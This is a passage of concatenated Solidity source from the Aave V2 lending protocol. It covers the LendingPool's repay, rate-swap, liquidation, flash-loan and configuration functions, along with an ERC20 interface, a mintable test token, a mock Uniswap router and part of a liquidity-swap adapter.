* @param asset The address of the borrowed underlying asset previously borrowed
* @param amount The amount to repay
* - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
* @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
* @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
* user calling the function if he wants to reduce/remove his own debt, or the address of any other
* other borrower whose debt should be removed
* @return The final amount repaid
**/
function repay(
address asset,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external override whenNotPaused returns (uint256) {
DataTypes.ReserveData storage reserve = _reserves[asset];
(uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve);
DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode);
ValidationLogic.validateRepay(
reserve,
amount,
interestRateMode,
onBehalfOf,
stableDebt,
variableDebt
);
uint256 paybackAmount =
interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt;
if (amount < paybackAmount) {
paybackAmount = amount;
}
reserve.updateState();
if (interestRateMode == DataTypes.InterestRateMode.STABLE) {
IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount);
} else {
IVariableDebtToken(reserve.variableDebtTokenAddress).burn(
onBehalfOf,
paybackAmount,
reserve.variableBorrowIndex
);
}
address aToken = reserve.aTokenAddress;
reserve.updateInterestRates(asset, aToken, paybackAmount, 0);
if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) {
_usersConfig[onBehalfOf].setBorrowing(reserve.id, false);
}
IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount);
IAToken(aToken).handleRepayment(msg.sender, paybackAmount);
emit Repay(asset, onBehalfOf, msg.sender, paybackAmount);
return paybackAmount;
}
/**
* @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa
* @param asset The address of the underlying asset borrowed
* @param rateMode The rate mode that the user wants to swap to
**/
function swapBorrowRateMode(address asset, uint256 rateMode) external override whenNotPaused {
DataTypes.ReserveData storage reserve = _reserves[asset];
(uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(msg.sender, reserve);
DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode);
ValidationLogic.validateSwapRateMode(
reserve,
_usersConfig[msg.sender],
stableDebt,
variableDebt,
interestRateMode
);
reserve.updateState();
if (interestRateMode == DataTypes.InterestRateMode.STABLE) {
IStableDebtToken(reserve.stableDebtTokenAddress).burn(msg.sender, stableDebt);
IVariableDebtToken(reserve.variableDebtTokenAddress).mint(
msg.sender,
msg.sender,
stableDebt,
reserve.variableBorrowIndex
);
} else {
IVariableDebtToken(reserve.variableDebtTokenAddress).burn(
msg.sender,
variableDebt,
reserve.variableBorrowIndex
);
IStableDebtToken(reserve.stableDebtTokenAddress).mint(
msg.sender,
msg.sender,
variableDebt,
reserve.currentStableBorrowRate
);
}
reserve.updateInterestRates(asset, reserve.aTokenAddress, 0, 0);
emit Swap(asset, msg.sender, rateMode);
}
/**
* @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
* - Users can be rebalanced if the following conditions are satisfied:
* 1. Usage ratio is above 95%
* 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been
* borrowed at a stable rate and depositors are not earning enough
* @param asset The address of the underlying asset borrowed
* @param user The address of the user to be rebalanced
**/
function rebalanceStableBorrowRate(address asset, address user) external override whenNotPaused {
DataTypes.ReserveData storage reserve = _reserves[asset];
IERC20 stableDebtToken = IERC20(reserve.stableDebtTokenAddress);
IERC20 variableDebtToken = IERC20(reserve.variableDebtTokenAddress);
address aTokenAddress = reserve.aTokenAddress;
uint256 stableDebt = IERC20(stableDebtToken).balanceOf(user);
ValidationLogic.validateRebalanceStableBorrowRate(
reserve,
asset,
stableDebtToken,
variableDebtToken,
aTokenAddress
);
reserve.updateState();
IStableDebtToken(address(stableDebtToken)).burn(user, stableDebt);
IStableDebtToken(address(stableDebtToken)).mint(
user,
user,
stableDebt,
reserve.currentStableBorrowRate
);
reserve.updateInterestRates(asset, aTokenAddress, 0, 0);
emit RebalanceStableBorrowRate(asset, user);
}
/**
* @dev Allows depositors to enable/disable a specific deposited asset as collateral
* @param asset The address of the underlying asset deposited
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
**/
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral)
external
override
whenNotPaused
{
DataTypes.ReserveData storage reserve = _reserves[asset];
ValidationLogic.validateSetUseReserveAsCollateral(
reserve,
asset,
useAsCollateral,
_reserves,
_usersConfig[msg.sender],
_reservesList,
_reservesCount,
_addressesProvider.getPriceOracle()
);
_usersConfig[msg.sender].setUsingAsCollateral(reserve.id, useAsCollateral);
if (useAsCollateral) {
emit ReserveUsedAsCollateralEnabled(asset, msg.sender);
} else {
emit ReserveUsedAsCollateralDisabled(asset, msg.sender);
}
}
/**
* @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
* - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
* a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
function liquidationCall(
address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken
) external override whenNotPaused {
address collateralManager = _addressesProvider.getLendingPoolCollateralManager();
//solium-disable-next-line
(bool success, bytes memory result) =
collateralManager.delegatecall(
abi.encodeWithSignature(
'liquidationCall(address,address,address,uint256,bool)',
collateralAsset,
debtAsset,
user,
debtToCover,
receiveAToken
)
);
require(success, Errors.LP_LIQUIDATION_CALL_FAILED);
(uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string));
require(returnCode == 0, string(abi.encodePacked(returnMessage)));
}
struct FlashLoanLocalVars {
IFlashLoanReceiver receiver;
address oracle;
uint256 i;
address currentAsset;
address currentATokenAddress;
uint256 currentAmount;
uint256 currentPremium;
uint256 currentAmountPlusPremium;
address debtToken;
}
/**
* @dev Allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned.
* IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration.
* For further details please visit https://developers.aave.com
* @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface
* @param assets The addresses of the assets being flash-borrowed
* @param amounts The amounts amounts being flash-borrowed
* @param modes Types of the debt to open if the flash loan is not returned:
* 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
* 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2
* @param params Variadic packed params to pass to the receiver as extra information
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external override whenNotPaused {
FlashLoanLocalVars memory vars;
ValidationLogic.validateFlashloan(assets, amounts);
address[] memory aTokenAddresses = new address[](assets.length);
uint256[] memory premiums = new uint256[](assets.length);
vars.receiver = IFlashLoanReceiver(receiverAddress);
for (vars.i = 0; vars.i < assets.length; vars.i++) {
aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress;
premiums[vars.i] = amounts[vars.i].mul(_flashLoanPremiumTotal).div(10000);
IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]);
}
require(
vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params),
Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN
);
for (vars.i = 0; vars.i < assets.length; vars.i++) {
vars.currentAsset = assets[vars.i];
vars.currentAmount = amounts[vars.i];
vars.currentPremium = premiums[vars.i];
vars.currentATokenAddress = aTokenAddresses[vars.i];
vars.currentAmountPlusPremium = vars.currentAmount.add(vars.currentPremium);
if (DataTypes.InterestRateMode(modes[vars.i]) == DataTypes.InterestRateMode.NONE) {
_reserves[vars.currentAsset].updateState();
_reserves[vars.currentAsset].cumulateToLiquidityIndex(
IERC20(vars.currentATokenAddress).totalSupply(),
vars.currentPremium
);
_reserves[vars.currentAsset].updateInterestRates(
vars.currentAsset,
vars.currentATokenAddress,
vars.currentAmountPlusPremium,
0
);
IERC20(vars.currentAsset).safeTransferFrom(
receiverAddress,
vars.currentATokenAddress,
vars.currentAmountPlusPremium
);
} else {
// If the user chose to not return the funds, the system checks if there is enough collateral and
// eventually opens a debt position
_executeBorrow(
ExecuteBorrowParams(
vars.currentAsset,
msg.sender,
onBehalfOf,
vars.currentAmount,
modes[vars.i],
vars.currentATokenAddress,
referralCode,
false
)
);
}
emit FlashLoan(
receiverAddress,
msg.sender,
vars.currentAsset,
vars.currentAmount,
vars.currentPremium,
referralCode
);
}
}
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset)
external
view
override
returns (DataTypes.ReserveData memory)
{
return _reserves[asset];
}
/**
* @dev Returns the user account data across all the reserves
* @param user The address of the user
* @return totalCollateralETH the total collateral in ETH of the user
* @return totalDebtETH the total debt in ETH of the user
* @return availableBorrowsETH the borrowing power left of the user
* @return currentLiquidationThreshold the liquidation threshold of the user
* @return ltv the loan to value of the user
* @return healthFactor the current health factor of the user
**/
function getUserAccountData(address user)
external
view
override
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
)
{
(
totalCollateralETH,
totalDebtETH,
ltv,
currentLiquidationThreshold,
healthFactor
) = GenericLogic.calculateUserAccountData(
user,
_reserves,
_usersConfig[user],
_reservesList,
_reservesCount,
_addressesProvider.getPriceOracle()
);
availableBorrowsETH = GenericLogic.calculateAvailableBorrowsETH(
totalCollateralETH,
totalDebtETH,
ltv
);
}
/**
* @dev Returns the configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The configuration of the reserve
**/
function getConfiguration(address asset)
external
view
override
returns (DataTypes.ReserveConfigurationMap memory)
{
return _reserves[asset].configuration;
}
/**
* @dev Returns the configuration of the user across all the reserves
* @param user The user address
* @return The configuration of the user
**/
function getUserConfiguration(address user)
external
view
override
returns (DataTypes.UserConfigurationMap memory)
{
return _usersConfig[user];
}
/**
* @dev Returns the normalized income per unit of asset
* @param asset The address of the underlying asset of the reserve
* @return The reserve's normalized income
*/
function getReserveNormalizedIncome(address asset)
external
view
virtual
override
returns (uint256)
{
return _reserves[asset].getNormalizedIncome();
}
/**
* @dev Returns the normalized variable debt per unit of asset
* @param asset The address of the underlying asset of the reserve
* @return The reserve normalized variable debt
*/
function getReserveNormalizedVariableDebt(address asset)
external
view
override
returns (uint256)
{
return _reserves[asset].getNormalizedDebt();
}
/**
* @dev Returns if the LendingPool is paused
*/
function paused() external view override returns (bool) {
return _paused;
}
/**
* @dev Returns the list of the initialized reserves
**/
function getReservesList() external view override returns (address[] memory) {
address[] memory _activeReserves = new address[](_reservesCount);
for (uint256 i = 0; i < _reservesCount; i++) {
_activeReserves[i] = _reservesList[i];
}
return _activeReserves;
}
/**
* @dev Returns the cached LendingPoolAddressesProvider connected to this contract
**/
function getAddressesProvider() external view override returns (ILendingPoolAddressesProvider) {
return _addressesProvider;
}
/**
* @dev Returns the percentage of available liquidity that can be borrowed at once at stable rate
*/
function MAX_STABLE_RATE_BORROW_SIZE_PERCENT() public view returns (uint256) {
return _maxStableRateBorrowSizePercent;
}
/**
* @dev Returns the fee on flash loans
*/
function FLASHLOAN_PREMIUM_TOTAL() public view returns (uint256) {
return _flashLoanPremiumTotal;
}
/**
* @dev Returns the maximum number of reserves supported to be listed in this LendingPool
*/
function MAX_NUMBER_RESERVES() public view returns (uint256) {
return _maxNumberOfReserves;
}
/**
* @dev Validates and finalizes an aToken transfer
* - Only callable by the overlying aToken of the `asset`
* @param asset The address of the underlying asset of the aToken
* @param from The user from which the aTokens are transferred
* @param to The user receiving the aTokens
* @param amount The amount being transferred/withdrawn
* @param balanceFromBefore The aToken balance of the `from` user before the transfer
* @param balanceToBefore The aToken balance of the `to` user before the transfer
*/
function finalizeTransfer(
address asset,
address from,
address to,
uint256 amount,
uint256 balanceFromBefore,
uint256 balanceToBefore
) external override whenNotPaused {
require(msg.sender == _reserves[asset].aTokenAddress, Errors.LP_CALLER_MUST_BE_AN_ATOKEN);
ValidationLogic.validateTransfer(
from,
_reserves,
_usersConfig[from],
_reservesList,
_reservesCount,
_addressesProvider.getPriceOracle()
);
uint256 reserveId = _reserves[asset].id;
if (from != to) {
if (balanceFromBefore.sub(amount) == 0) {
DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from];
fromConfig.setUsingAsCollateral(reserveId, false);
emit ReserveUsedAsCollateralDisabled(asset, from);
}
if (balanceToBefore == 0 && amount != 0) {
DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to];
toConfig.setUsingAsCollateral(reserveId, true);
emit ReserveUsedAsCollateralEnabled(asset, to);
}
}
}
/**
* @dev Initializes a reserve, activating it, assigning an aToken and debt tokens and an
* interest rate strategy
* - Only callable by the LendingPoolConfigurator contract
* @param asset The address of the underlying asset of the reserve
* @param aTokenAddress The address of the aToken that will be assigned to the reserve
* @param stableDebtAddress The address of the StableDebtToken that will be assigned to the reserve
* @param aTokenAddress The address of the VariableDebtToken that will be assigned to the reserve
* @param interestRateStrategyAddress The address of the interest rate strategy contract
**/
function initReserve(
address asset,
address aTokenAddress,
address stableDebtAddress,
address variableDebtAddress,
address interestRateStrategyAddress
) external override onlyLendingPoolConfigurator {
require(Address.isContract(asset), Errors.LP_NOT_CONTRACT);
_reserves[asset].init(
aTokenAddress,
stableDebtAddress,
variableDebtAddress,
interestRateStrategyAddress
);
_addReserveToList(asset);
}
/**
* @dev Updates the address of the interest rate strategy contract
* - Only callable by the LendingPoolConfigurator contract
* @param asset The address of the underlying asset of the reserve
* @param rateStrategyAddress The address of the interest rate strategy contract
**/
function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress)
external
override
onlyLendingPoolConfigurator
{
_reserves[asset].interestRateStrategyAddress = rateStrategyAddress;
}
/**
* @dev Sets the configuration bitmap of the reserve as a whole
* - Only callable by the LendingPoolConfigurator contract
* @param asset The address of the underlying asset of the reserve
* @param configuration The new configuration bitmap
**/
function setConfiguration(address asset, uint256 configuration)
external
override
onlyLendingPoolConfigurator
{
_reserves[asset].configuration.data = configuration;
}
/**
* @dev Set the _pause state of a reserve
* - Only callable by the LendingPoolConfigurator contract
* @param val `true` to pause the reserve, `false` to un-pause it
*/
function setPause(bool val) external override onlyLendingPoolConfigurator {
_paused = val;
if (_paused) {
emit Paused();
} else {
emit Unpaused();
}
}
struct ExecuteBorrowParams {
address asset;
address user;
address onBehalfOf;
uint256 amount;
uint256 interestRateMode;
address aTokenAddress;
uint16 referralCode;
bool releaseUnderlying;
}
function _executeBorrow(ExecuteBorrowParams memory vars) internal {
DataTypes.ReserveData storage reserve = _reserves[vars.asset];
DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf];
address oracle = _addressesProvider.getPriceOracle();
uint256 amountInETH =
IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div(
10**reserve.configuration.getDecimals()
);
ValidationLogic.validateBorrow(
vars.asset,
reserve,
vars.onBehalfOf,
vars.amount,
amountInETH,
vars.interestRateMode,
_maxStableRateBorrowSizePercent,
_reserves,
userConfig,
_reservesList,
_reservesCount,
oracle
);
reserve.updateState();
uint256 currentStableRate = 0;
bool isFirstBorrowing = false;
if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) {
currentStableRate = reserve.currentStableBorrowRate;
isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint(
vars.user,
vars.onBehalfOf,
vars.amount,
currentStableRate
);
} else {
isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint(
vars.user,
vars.onBehalfOf,
vars.amount,
reserve.variableBorrowIndex
);
}
if (isFirstBorrowing) {
userConfig.setBorrowing(reserve.id, true);
}
reserve.updateInterestRates(
vars.asset,
vars.aTokenAddress,
0,
vars.releaseUnderlying ? vars.amount : 0
);
if (vars.releaseUnderlying) {
IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount);
}
emit Borrow(
vars.asset,
vars.user,
vars.onBehalfOf,
vars.amount,
vars.interestRateMode,
DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE
? currentStableRate
: reserve.currentVariableBorrowRate,
vars.referralCode
);
}
function _addReserveToList(address asset) internal {
uint256 reservesCount = _reservesCount;
require(reservesCount < _maxNumberOfReserves, Errors.LP_NO_MORE_RESERVES_ALLOWED);
bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset;
if (!reserveAlreadyAdded) {
_reserves[asset].id = uint8(reservesCount);
_reservesList[reservesCount] = asset;
_reservesCount = reservesCount + 1;
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
interface IExchangeAdapter {
event Exchange(
address indexed from,
address indexed to,
address indexed platform,
uint256 fromAmount,
uint256 toAmount
);
function approveExchange(IERC20[] calldata tokens) external;
function exchange(
address from,
address to,
uint256 amount,
uint256 maxSlippage
) external returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol';
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract MintableDelegationERC20 is ERC20 {
address public delegatee;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public ERC20(name, symbol) {
_setupDecimals(decimals);
}
/**
* @dev Function to mint tokensp
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(uint256 value) public returns (bool) {
_mint(msg.sender, value);
return true;
}
function delegate(address delegateeAddress) external {
delegatee = delegateeAddress;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol';
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {MintableERC20} from '../tokens/MintableERC20.sol';
contract MockUniswapV2Router02 is IUniswapV2Router02 {
mapping(address => uint256) internal _amountToReturn;
mapping(address => uint256) internal _amountToSwap;
mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsIn;
mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsOut;
uint256 internal defaultMockValue;
function setAmountToReturn(address reserve, uint256 amount) public {
_amountToReturn[reserve] = amount;
}
function setAmountToSwap(address reserve, uint256 amount) public {
_amountToSwap[reserve] = amount;
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256, /* amountOutMin */
address[] calldata path,
address to,
uint256 /* deadline */
) external override returns (uint256[] memory amounts) {
IERC20(path[0]).transferFrom(msg.sender, address(this), amountIn);
MintableERC20(path[1]).mint(_amountToReturn[path[0]]);
IERC20(path[1]).transfer(to, _amountToReturn[path[0]]);
amounts = new uint256[](path.length);
amounts[0] = amountIn;
amounts[1] = _amountToReturn[path[0]];
}
function swapTokensForExactTokens(
uint256 amountOut,
uint256, /* amountInMax */
address[] calldata path,
address to,
uint256 /* deadline */
) external override returns (uint256[] memory amounts) {
IERC20(path[0]).transferFrom(msg.sender, address(this), _amountToSwap[path[0]]);
MintableERC20(path[1]).mint(amountOut);
IERC20(path[1]).transfer(to, amountOut);
amounts = new uint256[](path.length);
amounts[0] = _amountToSwap[path[0]];
amounts[1] = amountOut;
}
function setAmountOut(
uint256 amountIn,
address reserveIn,
address reserveOut,
uint256 amountOut
) public {
_amountsOut[reserveIn][reserveOut][amountIn] = amountOut;
}
function setAmountIn(
uint256 amountOut,
address reserveIn,
address reserveOut,
uint256 amountIn
) public {
_amountsIn[reserveIn][reserveOut][amountOut] = amountIn;
}
function setDefaultMockValue(uint256 value) public {
defaultMockValue = value;
}
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
override
returns (uint256[] memory)
{
uint256[] memory amounts = new uint256[](path.length);
amounts[0] = amountIn;
amounts[1] = _amountsOut[path[0]][path[1]][amountIn] > 0
? _amountsOut[path[0]][path[1]][amountIn]
: defaultMockValue;
return amounts;
}
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
override
returns (uint256[] memory)
{
uint256[] memory amounts = new uint256[](path.length);
amounts[0] = _amountsIn[path[0]][path[1]][amountOut] > 0
? _amountsIn[path[0]][path[1]][amountOut]
: defaultMockValue;
amounts[1] = amountOut;
return amounts;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
/**
* @title UniswapLiquiditySwapAdapter
* @notice Uniswap V2 Adapter to swap liquidity.
* @author Aave
**/
contract UniswapLiquiditySwapAdapter is BaseUniswapAdapter {
struct PermitParams {
uint256[] amount;
uint256[] deadline;
uint8[] v;
bytes32[] r;
bytes32[] s;
}
struct SwapParams {
address[] assetToSwapToList;
uint256[] minAmountsToReceive;
bool[] swapAllBalance;
PermitParams permitParams;
bool[] useEthPath;
}
constructor(
ILendingPoolAddressesProvider addressesProvider,
IUniswapV2Router02 uniswapRouter,
address wethAddress
) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {}
/**
* @dev Swaps the received reserve amount from the flash loan into the asset specified in the params.
* The received funds from the swap are then deposited into the protocol on behalf of the user.
* The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and
* repay the flash loan.
* @param assets Address of asset to be swapped
* @param amounts Amount of the asset to be swapped
* @param premiums Fee of the flash loan
* @param initiator Address of the user
* @param params Additional variadic field to include extra params. Expected parameters:
* address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited
* uint256[] minAmountsToReceive List of min amounts to be received from the swap
* bool[] swapAllBalance Flag indicating if all the user balance should be swapped
* uint256[] permitAmount List of amounts for the permit signature
* uint256[] deadline List of deadlines for the permit signature
* uint8[] v List of v param for the permit signature
* bytes32[] r List of r param for the permit signature
* bytes32[] s List of s param for the permit signature
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL');
SwapParams memory decodedParams = _decodeParams(params);
require(
assets.length == decodedParams.assetToSwapToList.length &&
assets.length == decodedParams.minAmountsToReceive.length &&
assets.length == decodedParams.swapAllBalance.length &&
assets.length == decodedParams.permitParams.amount.length &&
assets.length == decodedParams.permitParams.deadline.length &&
assets.length == decodedParams.permitParams.v.length &&
assets.length == decodedParams.permitParams.r.length &&
assets.length == decodedParams.permitParams.s.length &&
assets.length == decodedParams.useEthPath.length,
'INCONSISTENT_PARAMS'
);
for (uint256 i = 0; i < assets.length; i++) {
_swapLiquidity(
assets[i],
decodedParams.assetToSwapToList[i],
amounts[i],
premiums[i],
initiator,
decodedParams.minAmountsToReceive[i],
decodedParams.swapAllBalance[i],
PermitSignature(
decodedParams.permitParams.amount[i],
decodedParams.permitParams.deadline[i],
decodedParams.permitParams.v[i],
decodedParams.permitParams.r[i],
decodedParams.permitParams.s[i]
),
decodedParams.useEthPath[i]
);
}
return true;
}
struct SwapAndDepositLocalVars {
uint256 i;
uint256 aTokenInitiatorBalance;
uint256 amountToSwap;
uint256 receivedAmount;
address aToken;
}
/**
* @dev Swaps an amount of an asset to another and deposits the new asset amount on behalf of the user without using
* a flash loan. This method can be used when the temporary transfer of the collateral asset to this contract
* does not affect the user position.
* The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and
* perform the swap.
* @param assetToSwapFromList List of addresses of the underlying asset to be swap from
* @param assetToSwapToList List of addresses of the underlying asset to be swap to and deposited
* @param amountToSwapList List of amounts to be swapped. If the amount exceeds the balance, the total balance is used for the swap
* @param minAmountsToReceive List of min amounts to be received from the swap
* @param permitParams List of struct containing the permit signatures
* uint256 permitAmount Amount for the permit signature
* uint256 deadline Deadline for the permit signature
* uint8 v param for the permit signature
* bytes32 r param for the permit signature
* bytes32 s param for the permit signature
* @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise
*/
function swapAndDeposit(
address[] calldata assetToSwapFromList,
address[] calldata assetToSwapToList,
uint256[] calldata amountToSwapList,
uint256[] calldata minAmountsToReceive,
PermitSignature[] calldata permitParams,
bool[] calldata useEthPath
) external {
require(
assetToSwapFromList.length == assetToSwapToList.length &&
assetToSwapFromList.length == amountToSwapList.length &&
assetToSwapFromList.length == minAmountsToReceive.length &&
assetToSwapFromList.length == permitParams.length,
'INCONSISTENT_PARAMS'
);
SwapAndDepositLocalVars memory vars;
for (vars.i = 0; vars.i < assetToSwapFromList.length; vars.i++) {
vars.aToken = _getReserveData(assetToSwapFromList[vars.i]).aTokenAddress;
vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(msg.sender);
vars.amountToSwap = amountToSwapList[vars.i] > vars.aTokenInitiatorBalance
? vars.aTokenInitiatorBalance
: amountToSwapList[vars.i];
_pullAToken(
assetToSwapFromList[vars.i],
vars.aToken,
msg.sender,
vars.amountToSwap,
permitParams[vars.i]
);
vars.receivedAmount = _swapExactTokensForTokens(
assetToSwapFromList[vars.i],
assetToSwapToList[vars.i],
vars.amountToSwap,
minAmountsToReceive[vars.i],
useEthPath[vars.i]
);
// Deposit new reserve
IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), 0);
IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), vars.receivedAmount);
LENDING_POOL.deposit(assetToSwapToList[vars.i], vars.receivedAmount, msg.sender, 0);
}
}
/**
* @dev Swaps an `amountToSwap` of an asset to another and deposits the funds on behalf of the initiator.
* @param assetFrom Address of the underlying asset to be swap from
* @param assetTo Address of the underlying asset to be swap to and deposited
* @param amount Amount from flash loan
* @param premium Premium of the flash loan
* @param minAmountToReceive Min amount to be received from the swap
* @param swapAllBalance Flag indicating if all the user balance should be swapped
* @param permitSignature List of struct containing the permit signature
* @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise
*/
struct SwapLiquidityLocalVars {
address aToken;
uint256 aTokenInitiatorBalance;
uint256 amountToSwap;
uint256 receivedAmount;
uint256 flashLoanDebt;
uint256 amountToPull;
}
function _swapLiquidity(
address assetFrom,
address assetTo,
uint256 amount,
uint256 premium,
address initiator,
uint256 minAmountToReceive,
bool swapAllBalance,
PermitSignature memory permitSignature,
bool useEthPath
) internal {
SwapLiquidityLocalVars memory vars;
vars.aToken = _getReserveData(assetFrom).aTokenAddress;
vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(initiator);
vars.amountToSwap = swapAllBalance && vars.aTokenInitiatorBalance.sub(premium) <= amount
? vars.aTokenInitiatorBalance.sub(premium)
: amount;
vars.receivedAmount = _swapExactTokensForTokens(
assetFrom,
assetTo,
vars.amountToSwap,
minAmountToReceive,
useEthPath
);
// Deposit new reserve
IERC20(assetTo).safeApprove(address(LENDING_POOL), 0);
